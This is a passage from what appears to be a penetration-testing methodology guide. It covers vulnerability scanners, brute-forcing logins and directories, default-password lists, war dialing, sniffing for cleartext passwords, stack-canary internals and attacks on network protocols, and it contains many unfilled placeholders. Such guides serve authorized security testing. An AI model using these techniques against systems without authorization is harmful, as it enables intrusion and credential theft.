As soon as you start a Web Site Assessment, WebInspect displays in the Navigation pane an icon depicting each session. It also reports possible vulnerabilities on the Vulnerabilities tab and Information tab in the Summary pane.

If you click a URL listed in the Summary pane, the program highlights the related session in the Navigation pane and displays its associated information in the Information pane. The relative severity of a vulnerability listed in the Navigation pane is identified by its associated icon.

Screenshot Here

When conducting or viewing a scan, the Navigation pane is on the left side of the WebInspect" ''window. It includes the Site, Sequence, Search, and Step Mode buttons, which determines view presented.

When conducting or viewing a scan, the Information pane contains three collapsible information panels and an information display area. Select the type of information to display by clicking on an item in one of three information panels in the left column.

The Summary pane has five tabs: Vulnerabilities, Information, Best Practices, Scan Log, and Server Information. The Vulnerabilities Tab lists all vulnerabilities discovered during an audit. The Information Tab lists information discovered during an assessment or crawl. These are not considered vulnerabilities, but simply identify interesting points in the site or certain applications or Web servers. The Best Practices Tab lists issues detected by WebInspect that relate to commonly accepted best practices for Web development. Items listed here are not vulnerabilities, but are indicators of overall site quality and site development security practices (or lack thereof).

The Scan Log Tab is used to view information about the assessment. For instance, the time at which certain auditing was conducted against the target. Finally, the Server Information Tab lists items of interest pertaining to the server.

'" Screenshot Here '"

The final step is to export the results further analysis. To export the results of the analysis to an XML file, click File, then Export. This presents the option to export the Scan or Scan Details.

'" Screenshot Here '"

From the Export Scan Details window we need to choose the Full from the Details option. This will ensure that we obtain the most comprehensive report possible. Since this is only available in XML format, the only option we have left to choose is to scrub data. If you want to ensure that SSN, and Credit Card data is scrubbed then select these options. If you choose to scrub IP address information then the exported data will be useless for our purposes. Click Export to continue. Choose the file location to save the exported data.

Web Service Assessment Scan

The first scan that is performed with WebInspect is the Web Site Assessment Scan. WebInspect makes use of the New Web Site Assessment Wizard to setup the assessment scans.

'" Screenshot Here '"

When you start the New wizard, the Web Service Scan Wizard window appears. The options displayed within the wizard windows are extracted from the WebInspect default settings. The important thing to note is that any changes you make will be used for this scan only.

In the Scan Name box, enter a name or a brief description of the scan. Next you need to select one an assessment mode. The options available are Crawl Only, and Crawl and Audit. The "Crawl Only" option completely maps a site's tree structure. It is possible after a crawl has been completed, to click "Audit" to assess an application's vulnerabilities. "Crawl and Audit" maps the site's hierarchical data structure, and audits each page as it is discovered.

'" Screenshot Here '"

Once you have selected the assessment mode, you will need to select the location of the WSDL file. WSDL is an XML format for describing network services as a set of endpoints operating on messages containing either document-oriented or procedure-oriented information. Once you have selected to appropriate options, click Next to continue.

‘’’ Screenshot Here ‘’’

At this point the scan has been properly configured. There is an option to save the scan settings for later use. Click Scan to exit the wizard and begin the scan.

As soon as you start a Web Service Assessment, WebInspect displays in the Navigation pane an icon depicting each session. It also reports possible vulnerabilities on the Vulnerabilities tab and Information tab in the Summary pane. If you click a URL listed in the Summary pane, the program highlights the related session in the Navigation pane and displays its associated information in the Information pane. The relative severity of a vulnerability listed in the Navigation pane is identified by its associated icon.

‘’’ Screenshot Here ‘’’

When conducting or viewing a scan, the Navigation pane is on the left side of the WebInspect” ‘’window. It includes the Site, Sequence, Search, and Step Mode buttons, which determines view presented.

When conducting or viewing a scan, the Information pane contains three collapsible information panels and an information display area. Select the type of information to display by clicking on an item in one of three information panels in the left column.

The Summary pane has five tabs: Vulnerabilities, Information, Best Practices, Scan Log, and Server Information. The Vulnerabilities Tab lists all vulnerabilities discovered during an audit. The Information Tab lists information discovered during an assessment or crawl. These are not considered vulnerabilities, but simply identify interesting points in the site or certain applications or Web servers. The Best Practices Tab lists issues detected by WebInspect that relate to commonly accepted best practices for Web development. Items listed here are not vulnerabilities, but are indicators of overall site quality and site development security practices (or lack thereof).

The Scan Log Tab is used to view information about the assessment. For instance, the time at which certain auditing was conducted against the target. Finally, the Server Information Tab lists items of interest pertaining to the server.

‘’’ Screenshot Here ‘’’

The final step is to export the results for further analysis. To export the results of the analysis to an XML file, click File, then Export. This presents the option to export the Scan or Scan Details.

‘’’ Screenshot Here ‘’’

From the Export Scan Details window we need to choose the Full from the Details option. This will ensure that we obtain the most comprehensive report possible. Since this is only available in XML format, the only option we have left to choose is to scrub data. If you want to ensure that SSN, and Credit Card data is scrubbed then select these options. If you choose to scrub IP address information then the exported data will be useless for our purposes. Click Export to continue. Choose the file location to save the exported data.

IBM AppScan

IBM Rational AppScan automates application security testing by scanning applications, identifying vulnerabilities and generating reports with recommendations to ease remediation. This tutorial will apply to the AppScan Standard Edition which is a desktop solution to automate Web application security testing. It is intended to be use by small security teams with several security testers.

To ensure APPScan has the latest updates you should click update on the toolbar menu. This will check the IBM servers for updates. Internet access is required.

The simplest way to configure a scan is to use the Configuration Wizard. You can access the Configuration Wizard by clicking “New” on the File menu. You will be presented with the “New Scan” dialog box. Enable or disable the “Configuration Wizard” by checking the box.

You can then choose what type of scan you wish to perform. The default is a Web Application Scan.

You then have to enter the starting URL for the web application. Other options on that screen include choosing Case-Sensitivity path for Unix\Linux systems, adding additional servers and domains and enabling proxy and platform

authentication option. Uncheck the case-sensitivity path option if you know all the systems are windows as it can help reduce the scan time.

If the web application requires authentication then there are several options to choose from. Recorded allows you to record the login procedure so that AppScan can perform the login automatically. Prompt will prompt with the login screen during the scan when a login is required. Automatic can be used in web applications that only require a username and password. An important option is the "I want to configure In-Session detection options" if anything other they "None" is chosen. This option automatically detects if the web application is out of session. AppScan with automatically configure this feature but if it's not correct scan results will be unreliable.

Next you will be asked to choose a test policy. There are various built-in policies and each have various inclusions and exclusions. You can also create a custom policy.

By default AppScan tests the login and logout pages. This is enabled with the "Send tests on login and logout pages" option. Some applications have safeguards that could lockout the test account and prevent a scan from completing. You need monitor the testing logs to ensure login is not failing. AppScan also deletes previous session tokens before testing login pages. You may need to disable this option if a valid session token is required on the login pages. This can disabled by unchecking the "Clear session identifiers before testing login pages" option

You have now completed the scan configuration and will be prompted to start the scan. By default AppScan will start a full scan of the application. To ensure full coverage of the application a Manual Explore of the application is preferred. With this option AppScan with provide you with a browser window and you can access the application to explore every option and feature available. Once the full application has been explored you can close the browser and AppScan will add the discovered pages its list for testing. You can then start the full scan (Using ScanFull Scan on the menu bar) and AppScan will automatically scan the application.

Web Directory Listing/Bruteforcing

DirBuster is a java application that is designed to brute force web directories and files names. DirBuster attempts to find hidden or obfuscated directories, but as with any bruteforcing tool, it is only as good as the directory and file list utilized. For that reason, DirBuster has 9 different lists.

Screenshot Here

Webserver Version/Vulnerability Identification

The ability to identify the Webserver version is critical to identify vulnerabilities specific to a particular installation. This information should have been gathered as part of an earlier phase.

NetSparker (Windows)

NetSparker is windows based Web Application Scanner. This scanner tests for all common types of web application security flaws. This scanner allows the user to enter NTLM, Forms based and certificate based credentials. NetSparker boasts its ability to confirm the findings it presents to the user. NetSparker is an inexpensive Web Application Scanner.

When launching NetSparker, the user is presented with the following screen, which has tabs for the Scan Settings, Authentication and Advanced Settings.

NetSparker allows the user to enter credentials for Forms based Authentication in the following dialogue.

Once credentials have been entered, NetSparker presents those to the web application in a mini-browser view as seen below.

The below confirms that NetSparker is able to use the supplied credentials to login to the application.

In an effort to make sure that NetSparker knows when it has logged itself out of the web application, the user is able to specify the logged in and logged out conditions.

The final step of the process confirms the settings are configured correctly.

NetSparker offers five different methods to start the scan as seen below. These include Start Scan, Crawl and Wait, Manual Crawl (Proxy Mode), Scan Imported Links Only and Schedule Scan.

The scan starts with a crawl of the website and classifies the potential security issues as seen below.

The next phase is attacking the website. This begins to show identified vulnerabilities as shown in this screenshot.

Each finding can be shown in a Browser View as shown in this screenshot.

The vulnerability can also be displayed in an HTTP Request / Response format as seen in this screenshot.

To check the status of the scan, click on View and select Dashboard.

Also included is the Vulnerability Chart

Reporting options include PDF, HTML, CSV and XML formats.

Specialized Vulnerability Scanners

Virtual Private Networking (VPN)

Virtual Private Networking (VPN) involves "tunneling" private data through the Internet. The four most widely known VPN "standards" are Layer 2 Forwarding (L2F), IP Security (IPSec), Point-to-Point Tunneling Protocol (PPTP), and Layer 2 Tunneling Protocol (L2TP). VPN servers generally will not be detected by a port scans as they don't listen on TCP ports, so a TCP port scan won't find them. In addition, they won't normally send ICMP unreachable messages, so a UDP port scans more than likely won't find them. This is why we need specialized scanners to find and identify them.

ike-scan

ike-scan is a command-line IPsec VPN scanning, fingerprinting and testing tool that uses the IKE protocol to discover, fingerprint and test IPsec VPN servers. Ike-scan sends properly formatted IKE packet to each of the address you wish to scan and displays the IKE responses that are received. While ike-scan has a dozens of options, we will only cover the basics here.

Screenshot Here

Using ike-scan to actually perform VPN discovery is relatively straight forward. Simply give it a range and it will attempt to identify

Screenshot Here

IPv6

The THC-IPV6 Attack Toolkit is a complete set of tools to scan for inherent protocol weaknesses of IPv6 deployments. Implementation6 which performs various implementation checks on IPv6.

Screenshot Here

Exploit6 is another tool from the THC-IPV6 Attack Toolkit which can test for known ipv6 vulnerabilities.

Screenshot Here

Screenshot Here

War Dialing

War dialing is process of using a modem to automatically scan a list of telephone numbers, usually dialing every number in a local area code to search for computers, Bulletin board systems and fax machines.

WarVOX

WarVOX is a suite of tools for exploring, classifying, and auditing telephone systems. Unlike normal wardialing tools, WarVOX works with the actual audio from each call and does not use a modem directly. This model allows WarVOX

to find and classify a wide range of interesting lines, including modems, faxes, voice mail boxes, PBXs, loops, dial tones, IVRs, and forwarders. WarVOX provides the unique ability to classify all telephone lines in a given range, not just those connected to modems, allowing for a comprehensive audit of a telephone system. VoIP

VoIP networks rely on the network infrastructure that just simply targeting phones and servers is like leaving half the scope untouched. The intelligence gathering phase should have resulted in identify all network devices, including routers and VPN gateways, web servers, TFTP servers, DNS servers, DHCP servers, RADIUS servers, and firewalls. Note: The default username is admin with a password of warvox.

Screenshot Here

iWar

iWar is a War dialer written for Linux, FreeBSD, OpenBSD, etc.

Screenshot Here

Plain Analog Wardialer (PAW) / Python Advanced Wardialing System (PAWS)

PAW / PAWS is a wardialing software in python. It is designed to scan for ISDN (PAWS only) and newer analog modems.

Screenshot Here

SIPSCAN

SIPSCAN uses REGISTER, OPTIONS and INVITE request methods to scan for live SIP extensions and users. SIPSCAN comes with a list of usernames (users.txt) to brute force. This should be modified to include data collected during earlier phases to target the specific environment.

Screenshot Here

SIPSAK

SIPSAK is tool that can test for SIP enabled applications and devices using the OPTION request method only.

Screenshot Here

SVMAP

SVMAP is a part of the SIPVicious suite and it can be used to scan identify and fingerprint a single IP or a range of IP addresses. Svmap allows specifying the method being used such as OPTIONS, INVITE, and REGISTER.

Screenshot Here

Passive Testing

Passive Testing is exactly what it sounds like. Testing for vulnerabilities but doing so in a passive manner. This is often best left to automated tools, but it can be accomplished by manually methods as well.

Automated Tools

Traffic Monitoring

Traffic Monitoring is a passive mechanism for gathering further information about the targets. This can be helpful in determining the specifics of an operating system or network device. There are times when active fingerprinting may indicate, for example, an older operating system. This may or may not be the case. Passive fingerprinting is essentially a “free” way to ensure that the data you are reporting is as accurate as possible.

P0f

P0f is an awesome passive fingerprinting tool. P0f can identify the operating system on based upon machines you connect to and that you connect to as well as machines that you cannot connect to. Also, it can fingerprint machines based upon the communications that your interfaces can observe.

Screenshot Here

Wireshark

Wireshark is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education. Originally named Ethereal, in May 2006 the project was renamed Wireshark due to trademark issues.

Wireshark is cross-platform, using the GTK+ widget toolkit to implement its user interface, and using pcap to capture packets; it runs on various Unix-like operating systems including Linux, Mac OS X, BSD, and Solaris, and on Microsoft Windows.

Screenshot Here

Tcpdump

Tcpdump is a common packet analyzer that runs under the command line. It allows the user to intercept and display TCP/IP and other packets being transmitted or received over a network to which the computer is attached. Tcpdump works on most Unix-like operating systems: Linux, Solaris, BSD, Mac OS X, HP-UX and AIX among others. In those systems, tcpdump uses the libpcap library to capture packets.

There is also a port of tcpdump for Windows called WinDump; this uses WinPcap, which is a port of libpcap to Windows.

Screenshot Here

Metasploit Scanners

Metasploit Unleashed

The Metasploit Unleashed course has several tutorials on performing vulnerability scanning leveraging the Metasploit Framework.

9.3.2 Vulnerability Validation

Public Research

A product of the vast amount of security research is the discovery of vulnerabilities and associated Proof of Concept (PoC) and/or exploit code. The results from the vulnerability identification phase must be individually validated and where exploits are available, these must be validated. The only exception would be an exploit that results in a Denial of Service (DoS). This would need to be included in the scope to be considered for validation. There are numerous sites that offer such code for download that should be used as part of the Vulnerability Analysis phase.

- Exploit-db - http://www.exploit-db.com
- Security Focus - http://www.securityfocus.com
- Packetstorm - http://www.packetstorm.com
- Security Reason - http://www.securityreason.com

- Black Asylum - http://www.blackasylum.com/?p=160

Common/default passwords

Attempt to identify if a device, application, or operating system is vulnerable to a default credential attack is really as simple as trying to enter in known default passwords. Default passwords can be obtained from the following websites:
* http://www.phenoelit-us.org/dpl/dpl.html

- http://cirt.net/passwords
- http://www.defaultpassword.com
- http://www.passwordsdatabase.com
- http://www.isdpodcast.com/resources/62k-common-passwords/

Establish target list

Identifying all potential targets is critical to penetration testing. Properly established target lists ensure that attacks are properly targeted. If the particular versions of software running in the environment can be identified, the tester is dealing with a known quantity, and can even replicate the environment. A properly defined target list should include a mapping of OS version, patch level information. If known it should include web application weaknesses, lockout thresholds and weak ports for attack.

Mapping Versions

Version checking is a quick way to identify application information. To some extent, versions of services can be fingerprinted using nmap, and versions of web applications can often be gathered by looking at the source of an arbitrary page.

Identifying Patch Levels

To identify the patch level of services internally, consider using software which will interrogate the system for differences between versions. Credentials may be used for this phase of the penetration test, provided the client has acquiesced. Vulnerability scanners are particularly effective at identifying patch levels remotely, without credentials.

Looking for Weak Web Applications

Identifying weak web applications can be a particularly fruitful activity during a penetration test. Things to look for include OTS applications that have been misconfigured, OTS application which have plugin functionality (plugins often contain more vulnerable code than the base application), and custom applications. Web application fingerprinters such as WAFP can be used here to great effect.

Identify Weak Ports and Services

Identifying weak ports can be done using banner grabbing, nmap and common sense. Many ports and services will lie, or mislead about the specifics of their version.

Identify Lockout threshold

Identifying the lockout threshold of an authentication service will allow you to ensure that your bruteforce attacks do not intentionally lock out valid users during your testing. Identify all disparate authentication services in the environment, and test a single, innocuous account for lockout. Often 5 - 10 tries of a valid account is enough to determine if the service will lock users out.

9.3.3 Attack Avenues

Attack avenues focus on identifying all potential attack vectors that could be leveraged against a target. This is much more detailed than simply looking at the open or filtered ports, but evaluates the Footprinting information and automated results in an effort to create an attack tree.

Creation of Attack Trees

Attack trees are conceptual diagrams of threats on target systems and should include all possible attack methods to reach those threats.

Identify protection mechanisms

There is no magic bullet for detecting and subverting Network or Host based protection mechanisms. It takes skill and experience. This is beyond the scope of this document, which only lists the relevant protection mechanisms and describes what they do.

Network protections

"Simple" Packet Filters

Packet filters are rules for classifying packets based on their header fields. Packet classification is essential to routers supporting services such as quality of service (QoS), virtual private networks (VPNs), and firewalls.

Traffic shaping devices

Traffic shaping is the control of computer network traffic in order to optimize or guarantee performance, improve latency, and/or increase usable bandwidth for some kinds of packets by delaying other kinds of packets that meet certain criteria. During penetration test traffic shaping can also control the volume of traffic being sent into a network in a specified period, or the maximum rate at which the traffic is sent. For these reasons; traffic shaping is important to detect at the network edges to avoid packet dropping and packet marking.

Data Loss Prevention (DLP) systems

Data Loss Prevention (DLP) refers to systems that identify, monitor, and protect data in use, data in motion, and data at rest via content inspection and contextual analysis of activities (attributes of originator, data object, medium, timing, recipient/destination and so on). DLP systems are analogous to intrusion-prevention system for data.

Host based protections

Host-based protections usually revolve around an installed software package which monitors a single host for suspicious activity by analyzing events occurring within that host. The majority of Host-based protections utilize one of three detection methods: signature-based, statistical anomaly-based and stateful protocol analysis.

Stack/heap protections

Numerous tools are available that can monitor the host to provide protections against buffer overflows. Microsoft's Data Execution Prevention mode is an example that is designed to explicitly protect the pointer to the SEH Exception Handler from being overwritten.

Whitelisting

Whitelisting provides a list of entities that are being provided a particular privilege, service, mobility, access, or recognition. An emerging approach in combating attacks by viruses and malware is to whitelist software which is considered safe to run, blocking all others

AV/Filtering/Behavioral Analysis

Behavioral analysis works from a set of rules that define a program as either legitimate, or malicious. Behavioral analysis technology monitors what an application or piece of code does and attempts to restrict its action. Examples of this might include applications trying to write to certain parts of a system registry, or writing to pre-defined folders. These and other actions would be blocked, with the actions notified to the user or administrator.

Application level protections

9.4 Exploitation

9.4.1 Precision strike

Additional information on exploitation can be found at the Metasploit Unleashed course.

Countermeasure Bypass

<Contribution Needed>

AV

<Contribution Needed>

- Encoding
- Packing
- Whitelist Bypass
- Process Injection
- Purely Memory Resident

Human

<Contribution Needed>

HIPS

<Contribution Needed>

DEP

<Contribution Needed>

ASLR

<Contribution Needed>

VA + NX (Linux)

<Contribution Needed>

w^x (OpenBSD)

<Contribution Needed>

WAF

A WAF (Web application firewall) is a firewall which can be installed in front of (network topology speaking) a web application. The WAF will analyze each request and look for common web attacks such as Cross Site Scripting and SQLinjection. Like most AV scanners, a blacklisting mechanism is often used to find these potentially malicious HTTP requests (often regex). Since these WAFs are using this blacklisting technique, multiple papers exist on bypassing these types of devices.

Stack Canaries

In order to understand the use of the Stack Canaries, one needs to understand the fundamental flaw of buffer overflows. A buffer overflow happens when an application fails to properly verify the length of the input received with the length of the buffer in memory to which this data is copied. Due to the way the stack is build, and the way the data is entered on the stack, the input received could be used to overwrite the EIP (extended instruction pointer, this is used by the application to know where the application came from prior to copying the input to the buffer). When an attacker controls the EIP, the execution of the application can be altered in such a way that the attacker has full control of the application. A potential fix is by adding a "cookie" or stack canary right after the buffer on the stack. When the application wants to return, the value of the stack canary is verified. If this value has been altered, the program will ignore the EIP and crash therefore making the buffer overflow ineffective.

Every operating system calculates a different cookie.

Microsoft Windows

The cookie in Windows is added by Visual Studio. One of the options when compiling an application is /GS. The option is enabled by default. The cookie is calculated using a few process specific variables. Below is a representative code of how this cookie is calculated.

```
void generate_security_cookie() {
int defaultval1 = 0xFFFF0000;
int defaultval2 = 0xBB40E64E; // Hex value of PI without comma...

int result = 0;
int resultcomp = 0;
```

(continues on next page)

(continued from previous page)

```
FILETIME filetimestruct ;
GetSystemTimeAsFileTime(&filetimestruct);
LARGE_INTEGER perfcounter;
QueryPerformanceCounter(&perfcounter);

int tickc = GetTickCount();
int threadid = GetCurrentThreadId();
int processid = GetCurrentProcessId();

result = result ^ filetimestruct.dwHighDateTime;
result = result ^ filetimestruct.dwLowDateTime;
result = result ^ threadid;
result = result ^ processid;
result = result ^ tickc;
result = result ^ perfcounter.HighPart;
result = result ^ perfcounter.LowPart;

if (result == defaultval2) {
    printf("Wow, what are they odd of getting the same value as the beginning");
    result = 0xBB40E64E;
} else {
    if (!(result & defaultval1)) {
        int temp = (result | 0x4711) << 16;
        result |= temp;
    }
}
resultcomp = ~result;
```

As you can see, some of these values are not hard to figure out. Except for maybe the LowDateTime and the performance counter. An excellent paper has been written concerning this lack of entropy. More information can be found in that paper here (Exploiting the otherwise non-exploitable)

Linux

As in Windows, the somewhat default compiler, gcc, adds the code for the stack canarie. This code can be found in the file libssp/ssp.c

```
static void __attribute__ ((constructor))
__guard_setup (void)
{
  unsigned char *p;
  int fd;

  if (__stack_chk_guard != 0)
    return;

  fd = open ("/dev/urandom", O_RDONLY);
  if (fd != -1)
    {
      ssize_t size = read (fd, &__stack_chk_guard,
                           sizeof (__stack_chk_guard));
      close (fd);
      if (size == sizeof(__stack_chk_guard) && __stack_chk_guard != 0)
        return;
    }
```

(continues on next page)

(continued from previous page)

```
  /* If a random generator can't be used, the protector switches the guard
     to the "terminator canary".  */
  p = (unsigned char *) &__stack_chk_guard;
  p[sizeof(__stack_chk_guard)-1] = 255;
  p[sizeof(__stack_chk_guard)-2] = '\n';
  p[0] = 0;
}
```

It is known that some older versions of gcc do not use the urandom device in order to create a new cookie. They use a preset cookie value (a mix of unprintable characters such as 00 0A 0D and FF). Gcc will compile an application with stack canaries by default.

Problems with the implementation on Linux: On a linux machine, there are a few different ways of creating a thread. One of them is called fork(). When using fork to create a new thread, the application will "quickly" create a new thread which will reuse the calculated cookie for each new "fork"-ed thread. If a buffer overflow would exist in this forked thread, an attacker could bruteforce the stack canarie. Once again a great article describing this attack can be found here (Scraps of notes on remote stack overflow exploitation)

MAC OS

Disabled by default. Contribution required.

9.4.2 Customized Exploitation

Fuzzing

Fuzzing is the process of attempting to discover security vulnerabilities by sending random input to an application. If the program contains a vulnerability that can leads to an exception, crash or server error (in the case of web apps), it can be determined that a vulnerability has been discovered. Fuzzers are generally good at finding buffer overflow, DoS, SQL Injection, XSS, and Format String bugs. Fuzzing falls into two categories: Dumb Fuzzing and Intelligent Fuzzing.

Dumb Fuzzing

Dumb Fuzzing usually consists of simple modifications to legitimate data, that is then fed to the target application. In this case, the fuzzer is very easy to write and the idea is to identify low hanging fruit. Although not an elegant approach, dumb fuzzing can produce results, especially when a target application has not been previously tested. FileFuzz is an example of a Dumb Fuzzer. FileFuzz is a Windows based file format fuzzing tool that was designed to automate the launching of applications and detection of exceptions caused by fuzzed file formats.

Screenshot Here

Intelligent Fuzzing

Intelligent Fuzzers are ones that are generally aware of the protocol or format of the data being tested. Some protocols require that the fuzzer maintain state information, such as HTTP or SIP. Other protocols will make use of authentication before a vulnerability is identified. Apart from providing much more code coverage, intelligent fuzzers tend to cut down the fuzzing time significantly since they avoid sending data that the target application will not understand. Intelligent fuzzers are therefore much more targeted and sometimes they need to be developed by the security researcher.

Sniffing

A packet analyzer is used to intercept and log traffic passing over the network. It is considered best practice to utilize a sniffer when performing exploitation. This ensures that all relevant traffic is captured for further analysis. This is also extremely useful for extracting cleartext passwords.

Wireshark

Wireshark is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education. Originally named Ethereal, in May 2006 the project was renamed Wireshark due to trademark issues.

Wireshark is cross-platform, using the GTK+ widget toolkit to implement its user interface, and using pcap to capture packets; it runs on various Unix-like operating systems including Linux, Mac OS X, BSD, and Solaris, and on Microsoft Windows.

Screenshot Here

Tcpdump

Tcpdump is a common packet analyzer that runs under the command line. It allows the user to intercept and display TCP/IP and other packets being transmitted or received over a network to which the computer is attached. Tcpdump works on most Unix-like operating systems: Linux, Solaris, BSD, Mac OS X, HP-UX and AIX among others. In those systems, tcpdump uses the libpcap library to capture packets.

There is also a port of tcpdump for Windows called WinDump; this uses WinPcap, which is a port of libpcap to Windows.

Screenshot Here

Brute-Force

A brute force attack is a strategy that can in theory be used by an attacker who is unable to take advantage of any weakness in a system. It involves systematically checking all possible usernames and passwords until the correct one is found.

Brutus (Windows)

Brutus is a generic password guessing tool that comes with built-in routines for attacking

HTTP Basic and Forms-based authentication, among other protocols like SMTP and

POP3. Brutus can perform both ‘’dictionary ‘’and randomly generated attacks from a given character set.

Screenshot Here

Web Brute (Windows)

Web Brute is included with HP WebInspect and is the primary means of attacking a login form or authentication page, using prepared lists of user names and passwords.

Screenshot Here

THC-Hydra/XHydra

THC-Hydra (or just Hydra) is a network logon bruteforcer which supports attacking many different services such as FTP, HTTP, HTTPS, ICQ, IRC, IMAP, LDAP, MS-SQL, MySQL, NCP, NNTP, Oracle, POP3, pcAnywhere, PostgreSQL, REXEC, RDP, RLOGIN, RSH, SAP R/3, SIP, SMB, SMTP, SNMP, SOCKS, SSH, Subversion (SVN), TeamSpeak, Telnet, VNC, VMware Auth Daemon, and XMPP. It is available in both a command line and GUI version.

Screenshot Here

Screenshot Here

Medusa

Medus is another network logon bruteforcer which supports attacking many different services such as AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP, NNTP, Oracle, POP3, pcAnywhere, PostgreSQL, REXEC, RDP, RLOGIN, RSH, SMB, SMTP, SNMP, SOCKS, SSH, Subversion (SVN), Telnet, VNC, and VMware Auth Daemon. It is only available in a command line version.

Screenshot Here

Ncrack

Ncrack is another network logon bruteforcer which supports attacking many different services such as RDP, SSH, http(s), SMB, pop3(s), FTP, and telnet. Ncrack was designed using a modular approach, a command-line syntax similar to Nmap and a dynamic engine that can adapt its behavior based on network feedback.

Screenshot Here

Routing protocols

Routing protocols specify how routers communicate with each other, disseminating information that enables them to select routes between any two nodes on a computer network, the choice of the route being done by routing algorithms. Each router has a priori knowledge only of networks attached to it directly. A routing protocol shares this information first among immediate neighbors, and then throughout the network. This way, routers gain knowledge of the topology of the network.

Cisco Discovery Protocol (CDP)

The Cisco Discovery Protocol (CDP) is a proprietary Data Link Layer network protocol developed by Cisco Systems that is implemented in most Cisco networking equipment. It is used to share information about other directly connected Cisco equipment, such as the operating system version and IP address. CDP can also be used for On-Demand Routing, which is a method of including routing information in CDP announcements so that dynamic routing protocols do not need to be used in simple networks.

Cisco devices send CDP announcements to the multicast destination address 01:00:0C:CC:CC:CC, out each connected network interface. These multicast packets may be received by Cisco switches and other networking devices that support CDP into their connected network interface. This multicast destination is also used in other Cisco protocols such as VTP. By default, CDP announcements are sent every 60 seconds on interfaces that support Subnetwork Access Protocol (SNAP) headers, including Ethernet, Frame Relay, and Asynchronous Transfer Mode (ATM). Each Cisco device that supports CDP stores the information received from other devices in a table that can be viewed using the show cdp neighbors command. This table is also accessible via snmp. The CDP table information is refreshed each time an announcement is received, and the holdtime for that entry is reinitialized. The holdtime specifies the lifetime

of an entry in the table - if no announcements are received from a device for a period in excess of the holdtime, the device information is discarded (default 180 seconds).

The information contained in CDP announcements varies by the type of device and the version of the operating system running on it. This information may include the operating system version, hostname, every address (i.e. IP address) from all protocol(s) configured on the port where CDP frame is sent, the port identifier from which the announcement was sent, device type and model, duplex setting, VTP domain, native VLAN, power draw (for Power over Ethernet devices), and other device specific information. The details contained in these announcements are easily extended due to the use of the type-length-value (TLV) frame format. The tool for attacking CDP is Yersinia.

Screenshot Here

Hot Standby Router Protocol (HSRP)

Hot Standby Router Protocol (HSRP) is a Cisco proprietary redundancy protocol for establishing a fault-tolerant default gateway, and has been described in detail in RFC 2281. The Virtual Router Redundancy Protocol (VRRP) is a standards-based alternative to HSRP defined in IETF standard RFC 3768. The two technologies are similar in concept, but not compatible.

The protocol establishes a framework between network routers in order to achieve default gateway failover if the primary gateway should become inaccessible, in close association with a rapid-converging routing protocol like EIGRP or OSPF. By multicasting packets, HSRP sends its hello messages to the multicast address 224.0.0.2 (all routers) using UDP port 1985, to other HSRP-enabled routers, defining priority between the routers. The primary router with the highest configured priority will act as a virtual router with a pre-defined gateway IP address and will respond to the ARP request from machines connected to the LAN with the MAC address 0000.0c07.acXX where XX is the group ID in hex. If the primary router should fail, the router with the next-highest priority would take over the gateway IP address and answer ARP requests with the same mac address, thus achieving transparent default gateway fail-over. A HSRP Basics Simulation visualizes Active/Standby election and link failover with Hello, Coup, ARP Reply packets, and timers.

HSRP and VRRP are not routing protocols as they do not advertise IP routes or affect the routing table in any way.

HSRP and VRRP on some routers have the ability to trigger a failover if one or more interfaces on the router go down. This can be useful for dual branch routers each with a single serial link back to the head end. If the serial link of the primary router goes down, you would want the backup router to take over the primary functionality and thus retain connectivity to the head end. The tool for attacking HSRP is Yersinia.

Screenshot Here

Virtual Switch Redundancy Protocol (VSRP)

The Virtual Switch Redundancy Protocol (VSRP) is a proprietary network resilience protocol developed by Foundry Networks and currently being sold in products manufactured by both Foundry and Hewlett Packard. The protocol differs from many others in use as it combines Layer 2 and Layer 3 resilience - effectively doing the jobs of both Spanning tree protocol and the Virtual Router Redundancy Protocol at the same time. Whilst the restrictions on the physical topologies able to make use of VSRP mean that it is less flexible than STP and VRRP it does significantly improve on the failover times provided by either of those protocols.

Dynamic Trunking Protocol (DTP)

The Dynamic Trunking Protocol (DTP) is a proprietary networking protocol developed by Cisco Systems for the purpose of negotiating trunking on a link between two VLAN-aware switches, and for negotiating the type of trunking encapsulation to be used. It works on the Layer 2 of the OSI model. VLAN trunks formed using DTP may utilize either IEEE 802.1Q or Cisco ISL trunking protocols.

DTP should not be confused with VTP, as they serve different purposes. VTP communicates VLAN existence information between switches. DTP aids with trunk port establishment. Neither protocol transmits the data frames that trunks carry. The tool for attacking DTP is Yersinia.

Screenshot Here

Spanning Tree Protocol (STP)

The Spanning Tree Protocol (STP) is a network protocol that ensures a loop-free topology for any bridged Ethernet local area network. The basic function of STP is to prevent bridge loops and ensuing broadcast radiation. Spanning tree also allows a network design to include spare (redundant) links to provide automatic backup paths if an active link fails, without the danger of bridge loops, or the need for manual enabling/disabling of these backup links.

STP is a Data Link Layer protocol. It is standardized as IEEE 802.1D. As the name suggests, it creates a spanning tree within a mesh network of connected layer-2 bridges (typically Ethernet switches), and disables those links that are not part of the spanning tree, leaving a single active path between any two network nodes. The tool for attacking STP is Yersinia.

Screenshot Here

Open Shortest Path First (OSPF)

Open Shortest Path First (OSPF) is an adaptive routing protocol for Internet Protocol (IP) networks. It uses a link state routing algorithm and falls into the group of interior routing protocols, operating within a single autonomous system (AS). It is defined as OSPF Version 2 in RFC 2328 (1998) for IPv4. The updates for IPv6 are specified as OSPF Version 3 in RFC 5340 (2008).

RIP

RIP is a dynamic routing protocol used in local and wide area networks. As such it is classified as an interior gateway protocol (IGP). It uses the distance-vector routing algorithm. It was first defined in RFC 1058 (1988). The protocol has since been extended several times, resulting in RIP Version 2 (RFC 2453). Both versions are still in use today, although they are considered to have been made technically obsolete by more advanced techniques such as Open Shortest Path First (OSPF) and the OSI protocol IS-IS. RIP has also been adapted for use in IPv6 networks, a standard known as RIPng (RIP next generation) protocol, published in RFC 2080 (1997).

VLAN Hopping

VLAN hopping (virtual local area network hopping) is a computer security exploit, a method of attacking networked resources on a VLAN. The basic concept behind all VLAN hopping attacks is for an attacking host on a VLAN to gain access to traffic on other VLANs that would normally not be accessible. There are two primary methods of VLAN hopping: switch spoofing and double tagging.

In a switch spoofing attack, an attacking host that is capable of speaking the tagging and trunking protocols used in maintaining a VLAN imitates a trunking switch. Traffic for multiple VLANs is then accessible to the attacking host.

